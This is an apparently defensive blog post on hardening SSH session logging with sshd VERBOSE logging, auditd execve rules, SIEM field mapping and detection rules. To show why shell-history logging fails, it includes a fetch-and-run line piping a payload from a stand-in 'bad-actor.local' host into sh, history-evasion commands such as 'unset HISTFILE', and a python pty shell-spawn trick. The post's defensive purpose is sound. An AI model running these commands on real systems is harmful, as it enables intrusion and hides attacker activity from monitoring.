The Blind Spot: Why Your Bash History Is Lying to You
We thought we had sufficient visibility into staging instances. We had Rsyslog shipping /var/log/auth.log, and someone had dropped an old snippet into /etc/bash.bashrc that forced PROMPT_COMMAND to append history to a central syslog socket. We felt covered.
Then we ran a routine red-team dry run. The operator hopped onto a bastion, pulled an artifact, ran an inventory script, and detached. Nothing showed up in the SIEM except a single, boring Accepted publickey for deployer line. No commands, no flags, no binaries. Our detection pipeline saw zero execution logs.
Here is what we tried first, and why it failed completely:
# The naive attempt: tailing shell history or setting logger trapstail -f /home/*/.bash_history
Or injecting this into /etc/profile:
export PROMPT_COMMAND='history -a; logger -p local6.info -t bash "$USER: $(history 1)"'
Relying on shell-level auditing like trap DEBUG in /etc/bash.bashrc, PROMPT_COMMAND, or shipping .bash_history directly is theater. A user can bypass it instantly by unsetting the variables:
$ unset HISTFILE
$ export PROMPT_COMMAND=''
Worse, interactive shells are only a fraction of SSH traffic. When an engineer or an attacker executes a command directly without allocating an interactive tty:
ssh [email protected] 'curl -s https://bad-actor.local/payload.sh | sh'The interactive startup files (.bashrc, /etc/bash.bashrc) are never sourced. Non-interactive executions bypass userspace hooks entirely, leaving the SIEM blind. If they drop in via an interactive session and spawn an alternate shell via python3 -c 'import pty; pty.spawn("/bin/dash")', your Bash wrappers drop dead right there.
If you want genuine fidelity when hardening SSH session logging, you have to capture telemetry at the boundary (sshd) and at the kernel syscall interface (auditd or eBPF). Everything else is easily sidestepped.
Configuring sshd and Kernel Audit for High-Fidelity Capture
To fix this, we split collection into two distinct layers: sshd transport/auth logging to catch the boundary event, and Linux auditd to catch what the authenticated session actually runs.
1. Dialing in sshd_config
Default SSH server configurations log at INFO level. This tells you someone authenticated, but leaves out the fingerprint of the public key they used, the signature algorithm, and whether they attempted port forwarding. Drop a drop-in file into modern OpenSSH daemons:
# /etc/ssh/sshd_config.d/99-siem-logging.conf
LogLevel VERBOSE SyslogFacility AUTHPRIV
Reload sshd (don't restart, avoid dropping your current session):
# systemctl reload sshd || systemctl reload sshWith VERBOSE, sshd logs the full fingerprint of the presented public key, the key type (e.g., ssh-ed25519), and the exact forced command if authorized_keys restricted it. That fingerprint is the only reliable identifier when five engineers share an automated maintenance account.
2. Kernel Syscall Auditing via auditd
Since we cannot trust userspace shells, we trap process execution via the kernel audit subsystem. We want every execve and execveat call executed by an authenticated user, tracked back to their original login identity (auid).
# /etc/audit/rules.d/ssh-session-exec.rulesMonitor command execution by authenticated interactive users
-a always,exit -F arch=b64 -S execve,execveat -F auid>=1000 -F auid!=4294967295 -k ssh_commands -a always,exit -F arch=b32 -S execve,execveat -F auid>=1000 -F auid!=4294967295 -k ssh_commands
Load the rules and check the running state:
# auditctl -R /etc/audit/rules.d/ssh-session-exec.rules
auditctl -l
We check live execution directly from the audit ring buffer using this one-liner to verify users can't run scripts silently:
# auditctl -a always,exit -F arch=b64 -S execve,execveat -F auid>=1000 -F auid!=unset -k ssh_exec
ausearch -k ssh_exec --raw | aureport -x --summary
Because the kernel assigns the loginuid (or auid) upon successful PAM authentication, even if a user runs sudo -i or su, their auid remains tied to their original SSH login UID. The kernel writes an immutable breadcrumb.
Pipeline Architecture and Schema Normalization
Raw auditd and journald output on its own will overwhelm an ingestion pipeline if dumped raw. An audit record splits command arguments into a0, a1, a2, hex-encoding strings containing spaces.
Our ingestion path runs from local log sockets through Rsyslog or a host agent (Elastic Agent, Splunk Forwarder, or Vector) out to the central cluster.
# Inspecting raw systemd journal records for sshd before shipping
journalctl -u ssh.service -u sshd.service -f -o json
Normalizing to CIM and ECS
For detections to run across a fleet, raw syslog text must be normalized. Here is how fields map across common schemas:
| Source sshd/auditd Data | Elastic Common Schema (ECS) | Splunk CIM (Authentication / Endpoint) |
|---|---|---|
sshd: Accepted publickey for ubuntu from 192.168.1.50 |
source.ip: 192.168.1.50, user.name: ubuntu |
src: 192.168.1.50, user: ubuntu |
sshd: Key fingerprint SHA256:abc123xyz... |
user.target.group: ... or custom ssh.client.key.fingerprint |
signature_id: SHA256:abc123xyz... |
auditd: type=EXECVE a0="/usr/bin/git" |
process.executable: /usr/bin/git, process.command_line |
process_path: /usr/bin/git, process_exec |
auditd: auid=1001 (original shell identity) |
user.audit.id: 1001 |
src_user_id: 1001 |
If you don't parse auid into your primary user field during ingestion, your SIEM analysts will spend hours chasing "root executed" events instead of attributing commands to the person who logged in.
Three Gotchas That Cost Us Days
1. The Subshell Volume Avalanche
The moment you add -S execve,execveat without strict filters, you will fill local disks. We saw gigabytes of logs per hour on nodes running Zabbix agents, Node Exporter, or custom monitoring scripts that shell out every ten seconds.
If a cron or daemon runs under a service account with UID 1002, auditd intercepts every single subshell call. Exclude service accounts from the audit rules using auid!=<daemon_uid> or ensure system services run with pam_loginuid unset (where auid=4294967295 or unset).
2. The pam_tty_audit Credential Leak
Someone will suggest using pam_tty_audit.so to capture interactive keystrokes. It sounds great: it records every character typed directly into the TTY.
Do not turn this on without thinking it through. It captures raw stdin. When a user runs sudo mysql -u root -p or an inline script prompts for a secret token, every single keystroke of that password gets written in cleartext to /var/log/audit/audit.log and shipped to your SIEM. You have now turned your security logging pipeline into a plaintext credential database.
3. SSH Multiplexing (ControlMaster) Bypasses sshd Logs
Modern OpenSSH supports connection multiplexing via ControlMaster and ControlPath. An engineer authenticates once. Subsequent SSH invocations reuse the established TCP connection.
The secondary sessions spawn shells without re-authenticating against sshd. Your SIEM will not log a single Accepted publickey or session initialization for those follow-up shells. This is precisely why host-level audit rules on execve are mandatory: even when sshd emits no new records, the kernel will still record the new process with the initial auid.
Detection Rules That Actually Work
Once logs are shipping reliably, focus your SIEM logic on high-confidence alerts rather than generic noise.
1. Brute-Force vs. Distributed Password Spraying
Single-source brute force alerts are trivial: trigger when source IP generates more than 10 Failed password or Invalid user messages within 5 minutes. But watch out for distributed stuffing: group failures by target username across the whole subnet. If root or deploy is failing across 40 disparate hosts within a short time window, you are seeing a horizontal spray.
2. Unauthorized Modifications to authorized_keys
Post-exploitation persistence routinely involves writing an attacker key into ~/.ssh/authorized_keys. Combine auditd file integrity watches with your process telemetry:
# /etc/audit/rules.d/ssh-persistence.rules
-w /root/.ssh/authorized_keys -p wa -k ssh_persistence -w /home/ -p wa -k ssh_home_persistence
Write an alert for any execve where the target path touches authorized_keys, unless the parent process is an approved provisioning tool (like Ansible, running via a defined automation account).
3. Interactive Shells from Unexpected Accounts
Service accounts (like www-data, nginx, or postgres) usually have their login shell set to /usr/sbin/nologin or /bin/false. Alert whenever an auditd execve event features an auid associated with a service account successfully running a shell (/bin/bash, /bin/sh, /bin/dash).
Operating Under Retention Constraints
Under CERT-In Cyber Security Directions (No. 20(3)/2022-CERT-In), service providers, intermediaries, and corporate entities in India must securely maintain ICT system logs—including SSH access and administrative execution records—for a mandatory rolling duration of 180 days within Indian jurisdiction.
When you turn on execve auditing fleet-wide, you are generating massive log volume. If your forwarder drops its connection during a network partition, the local audit daemon buffer will saturate. If auditd is configured with flush = SYNC and disk_full_action = SUSPEND, your hosts will seize up entirely. If configured to drop events, you violate your compliance baseline.
To avoid this, allocate a dedicated mount for /var/log/audit, size local ring buffers conservatively, and tune your forwarders (e.g., Fluent Bit, Vector) with local disk-backed buffers before attempting to retain 180 days of granular execution telemetry.
Open Question for the Next Sprint
We are currently evaluating whether the overhead of kernel auditd (especially the serialization lock contention on systems with high core counts and heavy process churn) justifies replacing this entire pipeline with eBPF-based tracepoints (like Tetragon or tracee). The audit subsystem can cause measurable latency regressions on build nodes running thousands of transient compiler processes. If anyone has benchmarked eBPF process attribution against the audit subsystem under sustained 10k+ forks/sec workloads without dropped rings, I want to compare numbers.